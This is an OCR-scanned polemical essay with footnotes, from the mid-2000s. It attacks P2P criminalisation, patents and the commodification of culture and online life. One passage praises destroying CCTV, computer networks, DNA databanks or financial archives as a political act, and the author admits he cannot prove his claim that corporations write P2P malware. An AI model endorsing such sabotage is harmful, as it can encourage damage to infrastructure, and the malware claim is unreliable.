We have entered a new world of struggles. Struggles, that while had been epidermically
experienced by the generations before ours, are now coming into full force, threatening to
imprison a world of radical opportunities. Our struggle is not about higher wages, though
a good many people — myself included - would argue that the working masses are still
deprived from a decent wage. Yet, this is a task I shall leave to others to discuss. The
conflict I shall focus on derives from the interplay between digital media prosthetics,

institutionalisation, and the imperatives of corporate planning.
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This conflict is omnipresent. For the sake of brevity, I shall refer to only a few of the
most blatant cases that have been brought to my attention. The first case is concerned
with the forces at work in the realm of P2P distribution. P2P is, of course, a digital
prosthetic to ourselves, or an extension to ourselves if you prefer, because it allows us to
do things that before the advent of P2P were not possible: share our files as many times
as we want, at no (or negligible) cost, without decreasing the value of our files. This new
possibility has prompted many of us to reconceptualise and re-invent our attitude towards
sharing and property, at least insofar as digital property is concerned. And this extension
of ourselves has, beyond the shadow of a doubt, revolutionalised the music industry.
How does the industry and the entrenched players respond to this change? Have they
embraced it? Or have they set themselves to destroying it? Suffice to say that the
Recording Industry's Association of America (RIAA) and the Motion Picture Association
of America (MPAA), who have consolidated the rights of most music and movie authors,
are lobbying the US government and the EU to pass legislation according to which the
free, uninhibited distribution of cultural artifacts will be illegal, thus criminalising the use
of P2P networks and marginalising its users, effectively forcing such networks and the
socio-cultural arrangements that stem from their use into the computer underground. If
we wish to get more specific, let us recall that Niklas Zennstrom, the CEO of Skype, — a
major player in the rapidly expanding and highly competitive VoIP telephony business
arena - is not allowed to set his foot upon US soil.[1] Why would the US, with its long
history of encouraging and rewarding new capitalist innovations, prevent the CEO of
such an innovative and profit-making enterprise from entering its premises? The answer
lies on the fact that Niklas Zennstrom is also the developer of Kazaa — one of the P2P
networks that further led the napsterisation of the music industry. Or, alternatively,
remember that the developer of the Winnie P2P technology — has been put behind bars in
Japan.[2] Or, furthermore, remember for just one fleeting moment all those unfortunate
users of P2P networks whose files have been seized by the police, and such cases are not
rare to encounter in the US, and, who, as a result, have been imprisoned or have been

forced to pay extortionate amounts of money to those mad dogs who call themselves
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representatives of the rights of cultural producers because some mp3s were found in the
formers' hard drives.[3] And they call this practice 'outcourt settlement'. What has been
settled (in oblivion), would I ask, except perhaps for this long lost notion of the right to

freely disseminate cultural heritage and memory? Or the right to democratise culture?

As every user of P2P file-sharing networks has learnt the hard way, mainstream P2P
networks like eMule and eDonkey are swarmed by spies [spyware], ice, and all kinds of
crap that is designed to cause all kinds of shite to one's computer. Although I can't prove
it, I strongly believe those malicious lines of code originate in the offices of the old
world, written by clean-cut professional programmers, rather than being the late night
endeavour of a disgrunted juvenile delinquent, as so many ignorant people fantasise. The
people who write these exploits are the people we greet on the streets, who we work with,
the people whose salary radiates a certain professional status well above that of the much
romantised figure of the volunteering saboteur. The situation with viruses being hidden in
all kinds of otherwise harmless formats, such as .jpg, is close to ludicrous.[4] Not that
long ago, a trojan horse masqueraded as an .mp3 that when played with Winamp ushered

chaos in terrorised a good many user of P2P networks.[5]

And patents. A discussion that is better not to start at all, as Reto Bachmann-Gmuer told
me once, for the unintended consequences (such as reducing the motivation of developers
to cut their teeth on anything technological) that the sudden awareness of the irrationality
of the patent system could trigger, much like a boomerang. Yet, while I much understand
and share Reto's view, I also find it important to briefly refer to the patent system as it is
a perfect illustration of the hell that has broken loose. Indicatively, IBM has a patent on
how to employ and retain FS/OSS developers, which means that in an insane world
anyone who has ever written a single line of HTML would have to get IBM's permission
to work at any company other than IBM.[6] In a similar vein, Amazon has a patent on 'l-
click' |71, BT has a patent on hypertext [8], and a good many company is being sued for
infringing on a patent on “A Method and Apparatus for Spherical Planning”, filled in
1988. [9]. The list is dramatically long and keeps getting longer by the day. But whether
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one looks at patents and wonders if the collapse(?) of the patent system will herald the
demise of the entire property rights system, as Johan Soderberg very convincingly argues
[10], or one sees the evolution of the patent system as a metastasis counterproductive to
the motors of capitalism, and, thus, as a parasite that ought to be rehabilitated and
reformed, one thing remains the same nonetheless: the patent system, as it stands right
now, is simultaneously decadent and all-encompassing, having stretched in scope and

logic (or irrationality) beyond the threshold of intelligibility.

The entire spectrum of mechanisms devised by the ones in power to control and
criminalise the free sharing of culture, such as the perpetual character of copyright law,
or the imminent expansion of the patent space in the EU in line with the US and Japan, is
what I refer to as mounting institutionalisation — which is the second thread that links my
argument together (the core of the argument, essentially, is that the whole of culture is in
the process of being commodified, and that this process should be resisted. This course
of events may not seem like the worst thing in the world to some people, but beware:
“what happens to ideas, that while important, may not be commercially attractive? Is
there any room left for noncommercial views in a civilisation where people rely on the
commercial sphere for ideas by which to live their lives?”).[11] Many before us have
glimpsed this conflict, and pondered the thought of what it means. Cornelius Castoriadis
had warned us against the collapse of The Real and the Authentic, which is the loss of
meaning and relevance in a society which allows irrelevant mechanisms and insane
institutions to restrict and control the flow of positive subjectivity.[12] Copyright law is
again a perfect example to illustrate this tension. Whereas its raison d'etre has been (or,
should have been) rendered obsolete by the pragmatics of digitisation (and hence of P2P
distribution), its effect is nonetheless very real in terms of its actual impact upon society,
ie. locking people in prison, and indoctrinating consumer society to regard sharing of
files via P2P networks as an activity that correctly should be criminalised.[13] It should
be mentioned that when this mounting institutionalisation is examined through the prism
of the economic interpretation of history, it leads to interesting conclusions. In

Capitalism, Socialism, and Democracy, Joseph Schumpeter, an ardent supporter of the
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economic interpretation of history, argues that capitalism, as a social system, constantly
enlarges the space within which rational decision-making applies, and it is this
characteristic-dynamic which will eventually replace the innovator - entrepreneur with
institutions that will carry out the functions previously carried out by the innovator —
entrepreneur, including that of social leadership. This process of institutionalisation, for
Schumpeter, marks the beginning of the end of capitalism. However, is the mere
possibility of this theory coming true an anesthetic relaxing enough for us to sit back and
watch in apathy to see what will capitalism be replaced by? Under no circumstances
would I advocate such a disengaged position. Besides, as Schumpeter himself is quick to
point out, static capitalism is an oxymoron. Capitalism is continuous change occurring
through time, and thus not only never is but never could be in a state of delirious
equilibrium.[14] Sure enough, the organisation of the society and the economy has
changed in the past and it keeps changing, but why would we have to interpret that as a
pointer, or worse as a sign of a forthcoming socialist utopia in the making, where nothing
is scarce and anything can be replicated infinitely at the whims of a nanotek-powered
multitude? The end of history has been announced quite a few times over the past years,
but this means hardly anything: the future is malleable — nothing is certain, yet anything
is possible. Nevertheless, there are choices: the act of using, developing or extending a
technology, may that be a mobile phone, the Internet, or a bicycle, constitutes a conscious
or unconscious choice over the path our societies will progress or regress upon.[15] It is
not hard to imagine the arrival of the day when (neo)luddite reactions to technology at
large will become more common and more effectively organised, challenging the logic of
capital-induced teknolust and obscuring the capitalist development of telematic
technologies.[16] It is precisely this choice, scattered around the full fabric of media, that
radicalises technology users. By choosing not to use a 3G mobile phone, one chooses —
explicitly - to conceal his geographical whereabouts from the constant surveillance
offered by GPS. Choosing not to jack-into cyberspace expresses the refusal to
acknowledge that a human being may be(come) indistinguishable from a screen.
Choosing to destroy a CCTV, a computer network, a DNA databank, or the digitised

archives of the global financial services complex translates into a concrete political
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project, if done consciously. In much the same way that 19" century luddites used their
sledgehammers to demolish a specific machinic technological sphere and the relations of
production the latter was reckoned to set in motion[17], we're now witnessing the rebirth
of luddism, whose political project can be summarised as follows: start using technology
— stop being used by technology. 1t is here worth recalling the words of a black worker to
his white boss: “When we first saw your trucks and planes we thought that you were
gods. Then, after a few years we learned how to drive your trucks, as we shall soon learn
how to fly your planes, and we understood that what interested you most was
manufacturing trucks and planes and making money. For our part, what we are interested
in is using them. Now, you are just our metal-workers”.[18] The emancipatory force of
the reversal of perspective is upon us. Now it's time we put it to use before it all fades
away into spectacular success stories of ingenious hacker-entrepreneurs and nonsensical

information societies.

The criminalisation of P2P is not merely an attack aimed at technology. Rather, it is
geared toward abolishing a whole set of socio-cultural arrangements that have sprung to
life due to the advances in technology. Users of P2P networks are not only sharing their
files — increasingly, they also indulge in a sharing of their individual cyber facade, which
consists of the assemblage of digital artefacts they have been storing in their hard drives,
which, in turn, through the cross-fertilisation of diverse tastes and socio-political
extensions casts a radical shadow upon hacking as sharing (and vice versa). Users of file
sharing networks also cement relationships, which, in effect, give rise to online
communities of interest, formed outside the reach of corporate-fed pseudo-cultural
priesthoods. Doc Searls nails it when he says that Napster and similarly functioning
software are “the market's correction for the failure of mainstream radio not just to adapt
to the Net, but even to fulfill the missions it established for itself over the decades”.[19]
In P2P networks, production and consumption overlap: those networks of shared
meaning exemplify that people want to redefine music and cultural consumption as an
essentially peer-activity. And by doing so, they deliver a strong blow to the consumer

society. However, informational — cognitive capitalism seems well equipped to absorb
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this shock and reinvent it as crucial input. Although users of P2P networks cannot be
classified as waged labour, their contribution to cultural production goes nonetheless
appropriated by organisations operating on a proprietary business logic. It was imagined
that the hierarchical organisation of society could only sustain itself to the extent that
consumption and production were divided and fragmented in specialised activities, so
that society could be equally divided along the lines of the ones who produce (a specific
something) and the ones who consume (a specific something). However, as Johan
Soderberg very correctly argues, the fact that production and consumption do overlap
does not mean that the networks where this socio-economic relation finds fertile ground
to grow are not amenable to capitalist appropriation.[20] As it is made evident in the
sphere of Free Software/Open Source Software (FS/OSS) development (which serves as
another succinct example of the convergence between production and consumption as the
producers of FS/OSS are, in most part, the users of FS/OSS too) the contribution of
volunteer labour is fundamental to the new face of commerce. Only by incorporating the
unpaid-for contributions of volunteers into their core operating processes could profit-
driven organisations meet the demands forced upon them by a global consumer market
addicted to ever faster upgrades, improvements, and (supposedly) massively customised

services and products.

In more abstract terms, law, apart from being the quintessential institutionalised
mechanism, is always, with no exception, a reflection of the prevalent stand toward ethics
that a given society in a given time and space has adopted. Law and ethics are just
different forms of the same thing. The latter is encoded in everyday social practices and
gestures, whereas the former is encoded in juridical practices and legally-binding
artefacts. Said otherwise, a citizen should abide to the law because the law itself
simulates the views of society on what ought to be permitted and what ought not. On
these premises, the moment law and ethics collide is when irrationality kicks in,
operationaling and establishing the institution of the imaginary. And this is the situation
we are confronted with today: one the one hand, we have developed a new ethics as we

have grown accustomed to the continuous sharing of digital cultural artefacts, clumsily
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developing a novel reconceptualisation of the public sphere, according to which culture is
freed from old-world constraints, and, on the other hand, law still struggles to enforce the

old ethics, removed from the emerging form of social consciousness.

Where does this all leave us now? And what does it really mean? How is culture
subjugated under transcendent capitalism? Is it because mounting institutionalisation,
manifested in legal devices such as the perpetual character of copyright law and the
expansion of the patent system, threatens to enchain innovative forces, and ultimately
create a world in which the freedom to own what you think is being taken away by the
ones who pay your salary on the pretext of harnessing corporate-owned intellectual
property? Or is it because unscrupulous corporations have resorted to underhand games,
such as developing and unleashing into P2P networks Trojan horses that are detrimental
to our computers, and rethinking their proprietary operating logic so that even unwaged
labour, including that of volunteers, is essentially a hot property to be defended against
the very same people who have contributed it in the first place, to begin with? Yes, this is
where we stand now. And this is the world we live in. Fact of the matter is cyberspace
exacerbates this conflict, allowing us a glimpse into the brave new world. In The Age of
Access, which, in my opinion, remains the most apocalyptic expose of that shift toward a
fully commodified civic space and realm of ideas, Jeremy Rifkin postulates that the
transition to this dystopia has been well underway for many years. By reading between
the lines, from the rise of commercial-interest developments (CID) as the housing model
of choice for increasingly more people in the Western world, so-called one-to-one
marketer-customer relationships, the restructuring of business as play and the redesign of
work as a performing act to the hollywoodisation of network production and the
displacement of the public agora by the shopping mall, what we witness is the
contraction of any room that might have been once left unexploited by commodification.
Increasingly, all aspects of private and social life are being subsumed under commercial
agendas. What we think when we work is the property of those who employ us. Even
play, once seen as dialectically antithetical to work and productivity, now defines the

essence of both consumption and production. Writes Marcuse: “The play is non-
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productive and useless exactly because it abolishes the repressive and exploitative
elements of work and idleness”.[21] The dialectic of play - work that Marcuse portrayed
has been turned to its head by the penetrating logic of late capitalism to apprehend all
kinds of business as show business, as Tom Peters is oft-quoted for exclaiming during his
highly-regarded management development training courses for senior corporate
executives. And increasingly more corporations wake up to the potential of grasping the
productive element of play and incorporating it into their organisational model. Kodak, in
Rochester, New York, for example, has a room packed with all sorts of toys for its
employees to fuck around with during long days at the office.[22] In line with Kodak,
other mega-corps run spaces and environments, like gyms, video gaming saloons, and
recreation areas inside their premises so that the working day extends to as much of the
day as is humanly possible. Then again, from where I now stand, I'd easily fall for such a
pleasant work environment. I am a sucker for video games. [It should be mentioned
though that its dialectical antithesis, those long lines and mazes of cubicles and desks
where people hunkered down on their chairs are doing the phones and providing
'precious' customer support at call centres while being constantly watched by a camera
facing them, still abounds if one cares to look around, in much the same countries that

play is reconceptualised as crucial input, like in England].

But all this aside, it is a fact that the once anti-productive and anti-business elements of
play have eclipsed altogether. In the context of our discussion, and having as our aim to
show how cyberspace accelerates the tendency toward the complete commodification of
culture, let us recall what ensued in the virtual universe of Dark Age of Camelot when
Warsinger - one of the players - passed away (physically). They [the other players
organised in tribes and clans] called it a day and organised a funeral to honour the
apparently well-liked player. They stood in the shape of a heart, with the dead bloke's
girlfriend and his sister located in the centre of the heart. The game, which hundreds of
people play over the Internet on a daily basis — and not for free - , is just one of those
garganduan virtual universes that increasingly more people identify with as their

homeland.

10
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When cyborgs die: Warsinger's funeral in the Dark Age of Camelot

[Source: http://www.tbray.org/ongoing/When/200x/2002/09/05/-big/heart.jpg|

Unsurprisingly, those virtual universes are developed and owned by commercial entities,
but oddly enough, on a different level of analysis, it can be argued that real economic
activity (that is, it can be measured and expressed in standard economic terms, ie. GDP,
and it is convertible to currencies accepted in the physical world, as all those avatars

selling for shitloads of $$$ at ebay demonstrate beyond doubt) takes place within their

11
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ecosystems.[23] Upon first glance, it is very encouraging to observe that cyberspace
offers the ability to forge real social bonds with real people, mediated by the flexibility of
immaterial avatars, and regardless of spatial parameters. However, on the other hand, the
space/place within which those relationships and cultures exist is not public. And that is
very unsettling. When a critical part of shared lived experience has migrated in the
simulated universes inhabited by digital communities, and our last hope for inner
meaning lies in the non-spatial dimensions of cyberspace, then we're no longer
humans...we've become something else, and whether we like it or not, commercial
entities are ahead of us in homesteading the noosphere. We should bear in mind that
communication [and play] is inextricably linked to culture. When the ability to
communicate can only be rented with hard cash, not much of free culture is to be
expected. This problematic has been documented extensively, with Electric Minds and
the Digital City of Amsterdam (DDS) being perhaps the most widely referenced
communities whose aspiration to eke out a profit — directly or indirectly (coupled with
mismanagement) — led to their demise.[24] The point in concern here is not, however,
how to design, implement, and maintain online communities that will prove a good
profit-making enterprise. What I'm concerned with, is, primarily, to show that the free
universes in cyberspace that so many envisioned in the early days of the Internet, and
which fueled so much (unfounded?) optimism during the early 90s tend to be substituted
by private spheres, which, for one way or another, mainstream users demonstrably
aggregate around. In the gaming alleys of cyberspace, as well as in the market
cornucopias of friction-less hyper-capitalism and in the repugnant servers where the
twisted and repulsive logic of spam finds economic justification and social legitimacy,
the commodification of human relationships reigns. Is this what we dreamt of the
Internet? Is all that we dreamt of nothing beyond shooting monsters in proprietary
servers, buying books at Amazon, exposing ourselves to wicked advertisements, and
colonising (by invitation only) the closed universes of AOL and Orkut where we submit
to the marketlords of cyber-Cockaigne? Where has the sexual attractiveness of
cyberspace been hiding? Where is lust held hostage? Where is that tainted hope that all

those great people and their droogs who indulge in sharing images of porn, knowledge
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encoded in software, and cultural experiences encoded in mp3s and mp4s will reclaim the
Internet for the limitless, free universe it could be? From a radical vantage point,
sprawling cyberspace for porn, music, and horny IRC channels is a rebirth of the
revolutionary desire for seduction, fulfilment, and transcendence. The idea, or the fear to
be exact, that cyberspace is flooded with all sorts of erotic creatures and illegitimate
sexual fancies has been proven a deterrent well suited to scandalise puritans concerned
about the welfare of their offsprings in a largely plastic environment. But this very same
idea, no matter how deviant from the truth it might have been, afforded a sexual scent
and invested the new frontier overwhelmingly with a compulsion to experiment, traverse,
and communicate openly one's feelings, desires, and frustrations. For some groups, this
capacity to undress (both literally and metaphorically) and open themselves up to others,
with no fear of being ridiculed by narrow-minded social cliques, provided a much-
coveted opportunity to re-discover their identities. It addressed a tangible human need; it
satisfied a deeply repressed desire, unleashing it free from the confines of the tyrannical -
symbolical impotence that is political correctness. Gays, and all kinds of people that were
the receivers of a nasty interface by clones fabricated in the image of the canonical
conformist archetype in the material world due to their sexual preferences discovered (or
built anew) their Ithaca in cyberspace. Unfortunately, with the exception of IRC channels
that are frequented mainly by lonely youngsters, only bits and pieces of that vision
remain visible online, with Suicidegirls (and Minitel in the early 1980s pioneering this
business model in Paris, France) serving as perhaps a great example of how the
contemporary Internet can be sexy, enticing, and at the same time a good business.
Suicidegirls, needless to say, is commodifying and capitalising on human relationships.
But insofar as Suicidegirls is honest about its goals and commercial aspirations and
manages to communicate that clearly to its community, then I see nothing wrong with it.
Nothing other perhaps than the near complete absence of similar spaces catering for the
ones who want the same thing, more or less, but who are turned off by the idea that they
have to pay for sex, obliged to enter a contractual agreement in order to play the game of
seduction. A critique of sexuality, if it wishes to be substantiated, should also consist in

catapulting a critique against the entire spectrum of power relations that define our
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society, as Foucault did,[25] or, additionally, setting out to define the boundaries of such
a critique (ie. who classifies for a cyberian?, and why would someone seek sexual
satisfaction online?) neither of which I have done here. Drifting away consciously from
psychoanalysis and anthropology alike, my analysis is empirical and subjective: it aims at
showing that cyberspace need not be a specific given; cyberspace need not be solely a
business platform for converting paedophiles and sadists/masochists to loyal customers —
it could be something else; in fact, it could be anything else provided that the people who
jack-in are striving to create and establish their own spheres of governance, belief
systems, and mental models. And since we live in a world where nearly everyone faces a
sexual problem, which stems from communicational castration, or the pseudo-
communication offered by social codes (ie. I walk down the street and I see a woman I'm
attracted to, but unless I conform to the prevalent social code for approaching would-be
sexual partners, [ am unable to communicate my real desires — asking directly for sexual
satisfaction, or even expressing oneself openly about one's desires is, more often than
not, frowned upon) cyberspace could provide a rhizomatic channel for co-ordinating
those creative energies that liberate the flow of positive subjectivity, which, in turn, could

deliver a strong blow to the dominant power relations in meatspace t00.[26]

Returning back to our discussion of ethics and sustainable development, we can see that
there is a plethora of very interesting efforts underway to catalyse new structures and
bring about new models of cooperation and creativity. One way to enforce ethics in the
digital sphere is through licensing mechanisms, of which the most well known is the
GNU General Public License (GNU GPL), designed to help establish a free universe in
cyberspace. What the GNU GPL does, and it does so beautifully, is to effectively and
logically reverse the function of copyright law so that technology artefacts licensed under
the GNU GPL remain unpropertied (in the conventional meaning of the term) forever. In
other words, the GNU GPL caters for digital freedom, though it is a kind of freedom
defined objectively by the Free Software Foundation (FSF). Other licensing mechanisms,
such as the Hacktivismo-Enhanced Software Source License Agreement (HESSLA) and

the CGPL (Common Good Public License) try to build on the GNU GPL, extending it to
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encompass a wider array of political goals like respect for human rights and
environmental sustainability. However, there are setbacks with this approach toward
incubating an ethical technological sphere: first, the greatest problem with licensing as an
ethical device consists in its inability to be enforceable in its complete totality, that is, to
be enforced consistently, universally and globally. Second, all contemporary approaches
toward ethical licensing fall prey to the delusion that one can foretell with a certain
degree of precision and certainty how the technology under concern will evolve when in
the hands of mainstream users. This is not a logical paradox. Even if one is certain of
what constitutes ethical and unethical, one still can't police the ways technology will co-
evolve with, and be shaped by individual end-users. So, if we take this argument to its
logical extreme, what is the point of licenses such as the CGPL, the HESSLA, and the
CGPL? Satisfaction of pure egoism and megalomania? Or demonstration of shocking
ignorance and vulgar arrogance? And if there are so many setbacks with technology
licensing, why do it then? Using a license to enforce ethics can be a critiqued on the level
that it is, at best, nothing more than an imaginary desiring-machine combating an
imaginary institution. But this very same vulnerability constitutes its invinsibility, the
well hidden underlying hope that the simulacrum produced will neutralise the simulation
that is the law — but that one only time can tell. For one thing, the fix we should be
aiming at need be social rather than technological or legal alone. In that regard, and
insofar as the GNU GPL, the HESSLA, and the CGPL manage to raise community
awareness, stimulate dialogue, and rally support around the issues inherent in dynamic

technologies, their raison d'etre has been fulfilled.[27]

Yet, the greatest hope for bringing about an ethical technological future and for
materialising a radical transcendence of cyberspace beyond cyberspace consists in the
undergoing process of radicalisation of both technology users and developers, as well as
artists. From the explosive growth of community Wi-Fi networks worldwide and the
rapidly expanding adoption of free software by the very institutions that free/open source
software, as an organisational paradigm, logically undermines and challenges to new

genres of art like flashmobs that were spawned by the Net, and, which instead of coding
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and decoding space like most performance acts did in the days before the rise of
cyberspace, they are territorialising and deterritorialising it [space], thus consolidating
that territory by the construction of a second, adjacent territory - deterritorialising the
enemy by shattering his territory from within.[28] The time has come for a radical
response, rather than a mere critique, to the development and use of technology-mediated
networking. In The Augmented Social Network, Ken Jordan, Jan Hauser, and Steven
Foster lay out a vision for a condition of networking that is no longer capitulated by
incombatibility, echo chambers, closed standards, virtual gatekeepers, and lack of
interoperability. The elements of the Augmented Social Network (ASN) are: persistent
online identity, interoperability between communities, brokered relationships, and public
interest matching technologies. But the sheer brilliance of what they propose boils down
to the fact that “the ASN is not a piece of software or a Web site. Rather, it is a model for
a next-generation online community that could be implemented in a number of ways,
using technology that largely exists today”...to “strengthen civil society by better
connecting people to others with whom they share affinities, so that they can more
effectively exchange information and self-organise”.[29] The time has come for the
development of the Internet to be, and all the rethinking that goes hand in hand with such
a gargantuan undertaking. It is up to us to choose whether we want to be involved or not.
The technologies that will power Internet 2.0 could well be proprietary or free, if none of
us can be bothered to be involved in creating what that next-generation Internet will be.
But if we choose to be mere spectators, then we have no excuse — the cyberspace will be
shaped according to profit making organisations' agendas because those organisations are
indeed bothered about the Internet. It is a simple matter of choice: choose what they have

to offer or choose to be able to make your choices forever.

-- epilogue

Share. Then share some more. Copy. Then paste. Then copy and paste and share again. In

the process, something will have changed: that will be you. Do not accept cultural
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impotence and economic phantasmagoria for they are nothing but short-lived claims for
stardom. Claim technology. Claim culture. Claim cyberspace for one day cyberspace may
become meatspace. Break technology if technology is about to break you. Or stop using
it — exodus, they say, is a powerful and very effective form of revolt. But what I would
say is to explore if technology could be used in ways that you desire, rather than in ways
desired by those who manufacture and sell it. Make technology work for you. And extend
it for you and allow others to extend it as well. And stop holding on to this delusion of
customer/citizen sovereignty. You're not alone. Whether we like it or not, we 're together
in this. Network with others who share your interests and act. Right now, we are all
actors in the theatre of discontinuity. Some of us will naturally favour representation over
experimentation. But remember that what we play in that theatre could be the real thing.
We only have to imagine it hard enough to make it come true. There was once an old
man who wrote a story about a king and his army of monkies in order to please the then
king. Years went by, the king the old man had praised in the story got toppled, and the
king who ascended to power locked the old man in a dark dungeon in retaliation for his
having written such a glorious account of the now vanquished king. The old man,
stranded in a cell with room barely enough for his body, focused very hard for many
hours and recreated in his mind the king and his army of monkies until the king and his
army of monkies sprung alive from his thought, invaded the kingdom, conquered it, and
freed the old man. The dream can be real, if enough people have the same dream. The
differential factor lies in how we dream and how seriously we take our dreams for. As
T.E. Lawrence wrote in Seven Pillars of Wisdom: “All men dream: but not equally. Those
who dream by night in the dusty recesses of their minds wake in the day to find that it
was vanity: but the dreamers of the day are dangerous men, for they may act out their

dream with open eyes, to make it possible”.
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Notes.

[1] See http://marc.blogs.it/archives/2004/06/niklas_zennstro.html
[2] On May 10, 2004, Slashdot posted the following: "The author of Winny, the Japanese

P2P software with encrypted networking capability, similar to Freenet, has been today

officially arrested for abetment of copyright violation, after the raid in the last December.

He started its development in May 2002 and occasionally appeared on the web forum 2ch
with his anonymous codename "47", but today turned out to be an assistant professor of

computer science at the University of Tokyo in his 30s. Winny was so efficient and

popular that it generated problems even at the Japanese police and the GSDF. As the

Japanese police is the most advanced among the world in pulling P2P into criminal cases,
outcry of users in Japan is expected." Prior to his arrest, on December 3, 2003, according
to a CNET Asia report, two users of Winnie were also arrested for copyright violations.

( http://asia.cnet.com/news/security/0,39037064,39159923.00.htm )

[3] The criminalisation of P2P is very vividly captured in a swathe of news stories and
court cases. For some of the more recent cases, I cite the following: On December 15,
2004, Slashdot reported that "Police in Finland raided the operation of a popular Bit
Torrent site and arrested 34 people, 30 of which were volunteers who helped moderate

the site. This comes right after the MPAA reported that it would start suing tracker

servers". See Drew Cullen, “Finnish police raid BitTorrent site”, The Register, December
14, 2004, at
http://www.theregister.co.uk/2004/12/14/finnish _police raid bittorrent site/ . On August
25, 2004, Slashdot posted a pointer to a Reuters report according to which the US State
Dept. raided the homes of five people in several states for trading music on P2P
networks.

( http://slashdot.org/article.pl?sid=04/08/25/223021 1 &tid=99&tid=103&tid=95&tid=1 ) .

On August 21, 2004, Slashdot posted a pointer to an Associated Press report “which
reviewed many of the copyright infringement lawsuits that the RIAA filed against
individuals charged with illegally sharing songs on P2P networks. According to the
article over 800 of the targeted individuals have settled for approx. $3000 in fines. One
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man in California had to refinance his house to pay his $11,000 settlement. Many of the
defendants are unwilling to face the possibility of even higher fines by fighting the suits
in court despite the fact that it could resolve important questions about copyrights and the
industry's methods for tracing illegal downloads. It seems that even some of the judges
presiding over these cases question the RIAA's tactics. 'l 've never had a situation like
this before, where there are powerful plaintiffs and powerful lawyers on one side and
then a whole slew of ordinary folks on the other side,' said U.S. District Judge Nancy
Gertner, who blocked the movement of a number of these cases in her courtroom for
months. She wanted 'to make sure that no one, frankly, is being ground up”. See

http://yro.slashdot.org/article.pl?sid=04/08/21/1320203 &tid=123 &tid=141 and Ted

Bridis, “Slow-moving lawsuits over music downloads producing court twists”,

Associated Press, August 20, 2004 at

http://www.boston.com/ae/music/articles/2004/08/20/slow_moving_lawsuits_over_music

_downloads producing court twists/ On May 27, 2004, Slashdot posted a pointer to a

The Register report according to which “Italy has made transferring content via the

Internet without the permission of the copyright holder a criminal offence.Those found
guilty of the unauthorised distribution of copyright material now face a fine of between
154 and 1032 ($185-1240), a jail sentence of between six months and three years, the
confiscation of their hardware and software, and the revelation of their misdeeds in Italy's
two national newspapers, La Repubblica and Corriere della Sera”. See Tony Smith, “Italy
approves ‘'jail for P2P users' law”, The Register, May 20, 2004 at
http://www.theregister.co.uk/2004/05/20/italy_p2p law/

[4] See Jay Munro, “Security Watch Letter: Inside the JPEG Virus”, PC Magazine,
September 29, 2004, at http:/www.pcmag.com/print article2/0.2533.a=136159.00.asp

[5] For the record, Nullsoft, the company which develops Winamp released an updated
version of its software which fixed that vulnerability shortly after news of the elusive
virus had broken loose on the Internet.

[6] See See Johan Soderberg, Reluctant Revolutionaries — the false modesty of reformist
critics of copyright, Journal of Hyper(+)drome.Manifestation, Issue 1, September 2004,

at http://journal.hyperdrome.net/issues/issuel/Sdderberg.html# ftn38
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[7] See http://www.gnu.org/philosophy/amazon.html
[8] See Michelle Delio, “BT Linking Suit Dealt a Blow”, Wired, March 14, 2002, at

http://www.wired.com/news/politics/0,1283.51056,00.html?tw=wn_story_related

[9] See GameDaily, “Spherical Planning: Exclusive: Multi-Publisher Legal War Looms
Over 3-D Patent”, October 29, 2004, at
http://biz.gamedaily.com/features.asp?article id=8236&section=feature&email=
Apparently, all video games developed from the late 1990s onwards (and similarly, all
"war/flight simulators") are using this allegedly owned idea since they're emulating a
three-dimensional space. Is that fair for the people involved in the gaming industry? And,
say, you have a good idea for a 3D game, would you like the idea to have to pay some
"3D-patent-owner" for the permission to develop in 3-dimensions? Wouldn't that be a
blatant rip-oft?

[10] See Johan Soderberg, Reluctant Revolutionaries — the false modesty of reformist
critics of copyright, Journal of Hyper(+)drome.Manifestation, Issue 1, September 2004,
at http://journal.hyperdrome.net/issues/issuel/Sdderberg.html

[11] Jeremy Rifkin, The Age of Access: How the Shift from Ownership to Access Is

Transforming Modern Life, Penguin Books, 2001, pp.55, italics mine.

[12] Cornelius Castoriadis, The Imaginary Institution of Society, MIT Press, 1998.

[13] Following the launch of the British Department for Education and Skills' Music
Manifesto (http://www.musicmanifesto.co.uk/) campaign, children in UK schools are
now being indoctrinated about the illegality of downloading music. See John Lettice,
“'Stealing songs is wrong' lessons head for UK schools”, The Register, August 5, 2004, at

http://www.theregister.co.uk/2004/08/05/uk school copyright lessons/ . Also see Lee

Braiden, “Open Letter Against British Copyright Indoctrination in Schools”, Kuro5hin,
August 6, 2004, at http://www.kuroShin.org/story/2004/8/5/151113/8977

[14] Joseph A. Schumpeter. Capitalism, Socialism and Democracy, Harper & Brothers,
1942.
[15] Marshall McLuhan, Understanding Media - The Extensions of Man, MIT Press,

1964, at http://heim.ifi.uio.no/~gisle/overload/mcluhan/umtoc.html .

[16] See “An anarchist in the Hudson Valley. In conversation: Peter Lamborn Wilson
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with  Jennifer  Bleyer”, The  Brooklyn  Rail, July 2004, at
http://brooklynrail.org/spotlight/july04/wilson.html
[17] The classic text on the history of luddism is E.P. Thompson. The Making of the
English Working Class, Vintage Books USA, 1966.

[18] Quoted in Raoul Veneigem, The Revolution of Everyday Life (Traité de savoir-vivre
a l'usage des Jeunes générations), 1972, Ch.9, at
http://library.nothingness.org/articles/Sl/en/display/39
[19] Doc  Searls, 2003, “The New Tradition”, December 6, at
http://doc.weblogs.com/2003/12/06#theNewTradition

[20] Johan Soderberg, Reluctant Revolutionaries — the false modesty of reformist critics
of copyright, Journal of Hyper(+)drome.Manifestation, Issue 1, September 2004, at

http://journal.hyperdrome.net/issues/issuel/Sodderberg.html

[21] Herbert Marcuse. Eros and Civilisation, pp.198, translated from Greek by the
author.

[22] John Kao. Jamming: the Art and Discipline of Business Creativity. NY: Harper-
Collins, 1996, pp.66-67.

[23] For a breathtaking analysis of the economy of EverQuest, see Edward Castronova's
seminal Virtual Worlds: A First-Hand Account of Market and Society on the Cyberian
Frontier, December 2001, CESifo Working Paper Series No. 618, at
http://papers.ssrn.com/sol3/papers.cfm?abstract id=294828 and its follow-up On Virtual
Economies, July 2002, CESifo Working Paper Series No. 752, at

http://papers.ssrn.com/sol3/papers.cfm?abstract id=338500

[24] For an extensive discussion of the Digital City of Amsterdam (DDS), see ReindeR
Rustema's doctoral thesis The Rise and Fall of DDS (November 2001, University of
Amsterdam) and the very elaborate list of DDS-related dosuments, essays, etc., that he

has collected at http://reinder.rustema.nl/dds/ ; also see Geert Lovink's The Digital City —

Metaphor and Community in G. Lovink. Dark Fiber - Tracking Critical Internet Culture,
Cambridge / London: The MIT Press, 2002, pp. 42-67. Regarding Electric Minds, see its
founder's, Howard Rheingold's, reflections entitled “My experience with Electric Minds”,

